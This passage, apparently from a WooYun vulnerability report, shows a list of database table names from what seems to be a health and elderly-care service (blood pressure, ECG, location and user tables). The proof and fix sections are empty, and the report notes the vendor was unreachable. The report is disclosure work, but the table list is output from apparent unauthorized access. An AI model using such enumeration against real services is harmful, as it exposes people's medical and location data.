| ZL_BLOOD_PRESSURE              |
| ZL_BLOOD_SUGAR                 |
| ZL_BUSINESS_INFO               |
| ZL_BUSINESS_RECORD             |
| ZL_CAMERA_INFO                 |
| ZL_CARD                        |
| ZL_CASH                        |
| ZL_EAR_TEMPERATURE             |
| ZL_ELECTROCARDIOGRAM           |
| ZL_FAMILY_SAFETY_INFO          |
| ZL_FAVORABLE_EXERCISE_INFO     |
| ZL_HEALTH                      |
| ZL_HEALTH_DISPOSE              |
| ZL_HEALTH_EAR                  |
| ZL_HEALTH_HEARTRATE            |
| ZL_HEALTH_MANAGER              |
| ZL_HEALTH_OXYGEN               |
| ZL_HEALTH_SUGAR                |
| ZL_HOUSEKEEPING_INFO           |
| ZL_LOCATION_INFO               |
| ZL_MEDICAL_TREATMENT_INFO      |
| ZL_OLDUSER                     |
| ZL_PERSEONINFO                 |
| ZL_PHONE_BUSINESS              |
| ZL_PHYSICAL_EXAMINATION        |
| ZL_SERVICE_HISTORY             |
| ZL_SNS                         |
| ZL_USER                        |
| ZL_VOLLUNTER                   |
| ZYW_CUSTOMER_INFO              |
| ZY_ADD_VIP                     |
| ZY_PHONE_DITUI                 |
+--------------------------------+

3.png

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：15 (WooYun评价)